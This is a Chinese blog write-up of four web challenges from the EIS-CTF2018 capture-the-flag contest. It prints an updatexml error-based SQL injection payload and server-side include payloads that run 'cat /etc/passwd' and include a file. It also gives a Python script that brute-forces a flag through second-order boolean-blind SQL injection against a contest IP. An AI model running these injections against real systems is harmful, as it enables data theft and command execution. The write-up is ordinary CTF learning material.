美文网首页
EIS-CTF2018

EIS-CTF2018

作者: 帅猪佩奇 | 来源:发表于2018-12-07 18:16 被阅读15次

    simpleBBS

    题目:http://bbs.sec.zju.edu.cn/

    进入网站 注册 登录

    题目中没有任何提示,只说是简单的bbs(论坛)各种操作轮番上阵xss各种弹,没卵用,甚至右边有个文件上传测试,以为是文件上传,结果也没找到上传点,好吧放弃了,

    那是不可能的,一翻py,fuzz,注册的时候会报错,

    说明注册的时候需要加一个参数sn,抓包添加sn参数,注册成功。

    不过给我最大的启发是这个页面报错,数据库,难道暗示着 数据库报错,注入?

    试试 注册页面翻云覆雨的fuzz,好吧单引号过滤了,我注入你个螺旋大锤子。

    ??不对,我登录页面给个单引号呢,经过一翻测试,必须要已经注册的账号加单引号才有效。

    好的 测试开始,账号 username=xiaozhupeiqi1'&password123456

    这是啥??数据库报错?好了,二话不说就是报错注入,

    flag出来了,hiahiahia,提交,乔德麻袋??flag咋不全,别担心换个函数

    username=aaa' and 1=updatexml(1,concat(0x3a,(select mid(flag,32,32) from flag) ,0x3a),1)--

    OK了剩下的几位也出来了。此题 完!

    SimpleExtensionExplorerInjection

    请看题目,重点 xxe,后面是/flag,就是flag路径,

    开局两个框,抓包!

    我*?不是xml吗,你给我发个json格式包,你想做爪子?

    不对,这是ctf,这很正常,佩奇老哥给你传个xml格式试试水,

    牛皮,xml 数据可以传输,那么比较容易忽视的点来了,三个箭头的地方原本是json,既然要传输xml,一定要修改成xml,否则你做出来我吃*,

    然后xxe,不会的请自行参考我的博客xxe,

    来个payload 包,

    完结!

    SimpleServerInjection

    重点,SSI 是服务器注入,拓展下,ssti是服务器模版注入,名字很像,利用方式有区别,然后flag在当前目录下,

    这道CTF题还是比较简单,但是需要点,点不对打死也做不出来,想复杂的话 更做不出来。

    payload

        name=<!--%23exec cmd="cat /etc/passwd"-->

    这里有个小点,如果是#浏览器会自动当成注释,不会解析发包,所以这里给编码%23

    但是并没卵用,一开始以为会过滤了东西,但是看不出来哪过滤了,这个时候就要多尝试命令,

    毕竟ssi有那么多命令

    尝试过后使用

        name=<!--%23include virtual="flag"-->

     SimpleBlog

    题目,简单的blog,然后在classes给提示说是二次注入,一翻尝试之后无果,最后大佬给的思路,注意主页的提示

    注意0分,final exam提交答卷会随机给一个成绩,既然说二次注入,会不会是看成绩的时候会把用户名啥的代入到数据库中,因为提交答卷分数插入到数据库,这里可能造成二次注入,即然这样那注入点就在用户名上面了,不断注册查看是否等于0,后来看wp晓得,当成绩为0时说明逻辑错误,不为0则逻辑正常。

    然后注册 账号为 1' or 1=1 or '

    账号这里有几个点着重说一下

    前面的1要单引号闭合,这句逻辑账号有三个语句要判断,第一个1’ 数据库中可能要查询啥不清楚后端代码,这里判断是错的,or 1=1 这个语句是对的, or' 闭合语句这句也逻辑也是错的,所以我们 or判断只要是对的 那么分数查询那里就会是有分,否则就是0分。

    现在就可写脚本进行检测,首先确定好自己的 注入语句,这里是无法通过回显来注入的,所以我们通过布尔盲注写脚本。

    语句 zpq' or ascii(substr((select flag from flag limit 0,1),1,1))>1 or '

    查看效果

    语句 zpq' or ascii(substr((select flag from flag limit 0,1),1,1))>1000 or '

    这句 肯定为错,因为ascii码不可能大于1000

    可以看到 返回为0说明是错误的,语句已经完成接下来就写个脚本跑出flag。

        import requests

        import re

        headers = {

        'Connection': 'close',

        }//防多次访问断开连接

        flag=""

        for i in range(1,32):

            for nmb in range(32,126):

                payload={'username':"zpq888' or ascii(substr((select flag from flag limit 0,1),%s,1))=%s or'"%(i,nmb),'password':"123"}

                s=requests.Session()

                url_reg='http://210.32.4.20/register.php'

                r=s.post(url_reg,data=payload,headers=headers)

                url_log='http://210.32.4.20/login.php'

                r=s.post(url_log,data=payload,headers=headers)

                url_ans='http://210.32.4.20/answer.php'

                select={'1.a':'on'}

                r=s.post(url_ans,data=select,headers=headers)

                result=r.content[2074:2075]

                if int(result)!=0:

                    flag=flag+chr(nmb)

                    print flag

                    break

    单线程太慢不跑了!

    相关文章

      网友评论

          本文标题:EIS-CTF2018

          本文链接:https://www.haomeiwen.com/subject/pkiocqtx.html